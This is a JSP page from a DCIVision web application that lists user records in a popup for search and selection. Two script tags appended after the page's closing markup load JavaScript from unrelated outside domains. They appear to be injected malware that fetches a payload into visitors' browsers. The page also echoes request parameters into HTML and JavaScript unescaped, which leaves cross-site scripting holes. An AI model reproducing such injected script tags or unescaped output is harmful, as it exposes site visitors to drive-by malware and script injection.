<%
/*
 * @(#)PopupUserRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  PopupUserRecord.jsp

  This page is for selecting a user record from the list of all user records.

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    12/08/2003
    @version          $Revision: 1.22.4.20 $
*/

/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/30
 * BugID      : 5427
 * Description: add keydown 'ENTER' event for searching
 * *********************************************************************************************
 */
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUserRecordForm" scope="request" class="com.dcivision.user.web.ListUserRecordForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  try{
  String      LIST_NAME = "userRecordList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.full_name", "FULL_NAME"},
                            {"user.columnheader.login_name", "LOGIN_NAME"},
                            {"user.columnheader.user_group", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.user_role", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.email", "EMAIL"}
                          };

  String[][] SEARCH_MAP = { {"user.label.full_name", "FULL_NAME"},
                            {"user.label.first_name", "FIRST_NAME"},
                            {"user.label.last_name", "LAST_NAME"},
                            {"user.label.email", "EMAIL"}
                          };

  String isMulitple = (String)request.getParameter("isMulitple");
  String mulitpleValue = (String)request.getParameter("mulitpleValue");
  String noHiddenValue = (String)request.getParameter("noHiddenValue");
  String ruleID = (String)request.getParameter("ruleID");
  boolean showMulitpleValueFlag = true;

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   List listRole = (List) request.getAttribute(ListUserRecordAction.VAR_USER_ROLE_LIST);
   List listGroup = (List) request.getAttribute(ListUserRecordAction.VAR_USER_GROUP_LIST);

   try {
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }

    String index = request.getParameter("index");
    if(Utility.isEmpty(index)){
      index =(String)request.getAttribute("index");
    }
    index=Utility.isEmpty(index)?"":index;
    pageContext.setAttribute("pageIndex", index);
%>
<!-- Form Section Begin -->
<html:form action="user/PopupUserRecord" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="index"/>
<html:hidden property="pageFlag" />

<input type='hidden' name='form' value='<%=request.getParameter("form")%>'>
<input type='hidden' name='property' value='<%=request.getParameter("property")%>'>
<input type='hidden' name='isMulitple' value='<%=isMulitple%>'>
<input type='hidden' name='mulitpleValue' value='<%=mulitpleValue%>'>
<input type='hidden' name='noHiddenValue' value='<%=noHiddenValue%>'>
<input type='hidden' name='ruleID' value='<%=ruleID%>'>
<layout:popupTitle titleKey ="form.label.field_type_V"/>
<br>
<div id="formContainer" style="border-left:0px;border-right:0px;border-top:0px;
                               border-bottom:0px;height:440px">
<layout:listBar>
 <layout:filterControl/>
 </layout:listBar>
<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listUserRecordForm, '${listUserRecordForm.sortAttribute}', '${listUserRecordForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listUserRecordForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->
<!-- Table Showing Record List Begin -->

<div id="dataGrid" class="listTable">
  <!-- Table Column Header Begin -->
<table>
  <%if("true".equals(isMulitple)){%>
    <tr>
    <layout:columnHeader form="listUserRecordForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserRecordForm.getSortAttribute()%>" sortOrder="<%=listUserRecordForm.getSortOrder()%>" editColumn="false" copyColumn="false"/>
    </tr>
  <%}else{%>
    <tr>
    <layout:columnHeader form="listUserRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserRecordForm.getSortAttribute()%>" sortOrder="<%=listUserRecordForm.getSortOrder()%>" checkColumn="false" editColumn="false" copyColumn="false"/>
    </tr>
  <%}%>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="userRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <%//check the user record is belong to the roles .
  if(!Utility.isEmpty(mulitpleValue)){
    String[] userRecordIDArray = (String[]) TextUtility.splitString(mulitpleValue, ",");
  for(int i=0;i<userRecordIDArray.length;i++){
    if(userRecordIDArray[i].equals(((AbstractBaseObject)userRecord).getID().toString())){
        showMulitpleValueFlag = false;
    break;
    }else{
      showMulitpleValueFlag = true;
    }
  }
  }%>
<%if(showMulitpleValueFlag){%>
  <%if("true".equals(isMulitple)){%>
    <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userRecord).getID()%>);">
  <td align="center">
    <html:checkbox property="basicSelectedID" value="<%=((AbstractBaseObject)userRecord).getID().toString()%>" onclick="return(false);"/>
    <input type=hidden name='basicSelectedName' value="<bean:write name='userRecord' property='fullName'/>" />
  </td>
  <td nowrap>
      <bean:write name='userRecord' property='fullName' />
    </td>
  <%}else if ("true".equals(noHiddenValue)) {%>
    <tr onmouseover="rowHover(this);" onclick="OpCustSetRecordID('<bean:write name='userRecord' property='ID'/>', '<bean:write name='userRecord' property='fullName'/>', '<%=ruleID%>');">
   <td nowrap>
      <bean:write name='userRecord' property='fullName'filter="false"/>
    </td>
  <%}else{%>
    <tr onmouseover="rowHover(this);"  onclick="OpSetRecordID('<bean:write name='userRecord' property='ID'/>', '<bean:write name='userRecord' property='fullName'/>', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');">
   <td  nowrap>
      <bean:write name='userRecord' property='fullName'filter="false"/>
    </td>
  <%}%>
<%}else{%>
  <%if("true".equals(isMulitple)){%>
  <tr>
    <td align="center">
    <html:img src="IconCheckboxDisable.gif" styleClass="disabledCheckbox"/>
  </td>
  <td nowrap>
      <bean:write name='userRecord' property='fullName'/>
    </td>
  <%}else{%>
  <tr onmouseover="rowHover(this);" onclick="OpSetRecordID('<bean:write name='userRecord' property='ID'/>', '<bean:write name='userRecord' property='fullName'/>', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');">
    <td nowrap>
      <bean:write name='userRecord' property='fullName'/>
    </td>
  <%}%>
<%}%>

    <td nowrap><bean:write name='userRecord' property='loginName'/></td>
    <td><%
      int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
      request.setAttribute("userGroupList", (List)listGroup.get(rowCount));%>
      <logic:iterate id="userGroup" name="userGroupList" scope="request">
        <nobr><html:img src='IconGroup.gif'  align='absmiddle'/><bean:write name='userGroup' property='groupName'/></nobr><br>
      </logic:iterate>
    </td>
    <td><%request.setAttribute("userRoleList", (List)listRole.get(rowCount));%>
      <logic:iterate id="userRole" name="userRoleList" scope="request">
        <nobr><html:img src='IconRole.gif'  align='absmiddle'/><bean:write name='userRole' property='roleName'/></nobr><br>
      </logic:iterate>
    </td>
    <td><% if (!Utility.isEmpty(((UserRecord)userRecord).getEmail())) { %><a href="mailto:<bean:write name='userRecord' property='email'/>"><% } %>
        <bean:write name='userRecord' property='email'/>
        <% if (!Utility.isEmpty(((UserRecord)userRecord).getEmail())) { %></a><% } %>
    </td>
  </tr>
  </logic:iterate>  
  </table>
  </div>
  <div class="listStatusBar">
  <layout:pager form="listUserRecordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  
</div>
<!-- Form Section End -->
<br>
<div id="bottomButtonArea">
<div id="buttonSection">
<%if("true".equals(isMulitple)){%>
  <html:standardButton label="common.label.go" onClick="BasicSelected('${userRecord.ID}', '${userRecord.fullName}', '${param.property}', '${param.form}','${pageScope.pageIndex}');"/>
<%}%>
  <html:standardButton label="common.label.reset" onClick="OpSetRecordID('', '', '${param.property}', '${param.form}');"/>
  <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
<%if("listDmsAuditTrail".equals(listUserRecordForm.getPageFlag())||"listDmsIndividualAuditTrail".equals(listUserRecordForm.getPageFlag())){%>
  <html:standardButton label="user.label.allusers" onClick="OpSetRecordID('', 'All User', '${param.property}', '${param.form}');"/>
<%}%>
</div>
</div>
</div>

</html:form>

<%
  } catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  }
%>

<script language="Javascript">
  function BasicSelected(id, fullname, property, form ,index) {
   var frm;
   var chkAry = FindObj("basicSelectedID");
   var name = "";
   var id = "";

   if (chkAry) {
    if (chkAry[0]) {
      for (var loopCnt = 0; loopCnt < chkAry.length; loopCnt++) {
        if (chkAry[loopCnt].checked) {

          if(id != ""){
            name += ",";
            id += ",";
          }
          id +=  document.listUserRecordForm.basicSelectedID[loopCnt].value;
          name += document.listUserRecordForm.basicSelectedName[loopCnt].value;
        }

      }
    } else {
      if (chkAry.checked) {
        id =  document.listUserRecordForm.basicSelectedID.value;
        name = document.listUserRecordForm.basicSelectedName.value;
      }
    }
  }


  if (id==null||id==""){
    alert("<bean:message key='message.user.please_choice_one_user_record_or_press_close_button'/>");
  return false;
  }

  if (!form || form == null) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  } else {
    frm = window.opener.document.forms[form];
  }

  if(index!= null && index!="null"){
    frm.elements[property+"_"+index].value = id;
    frm.elements["dummy_" + property+"_"+index].value = name;
  }else{
    frm.elements[property].value = id;
    frm.elements["dummy_" + property].value = name;

  }
  window.close();
}

function OpCustSetRecordID(showValue,hiddenValue,ruleID){
  var parent = window.opener;
  parent.OpCustSetRecordID(showValue,hiddenValue,ruleID);
  parent.focus();
  window.close();
}

function onKeyPress(){
if(event.keyCode==13)OpList(listUserRecordForm, '<bean:write name='listUserRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='listUserRecordForm' property='sortOrder' replace=''/>');
}
function rowHover(row)
{
    row.style.cursor='hand';
    
}
-->
</script>
<%}catch (Exception e){

}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>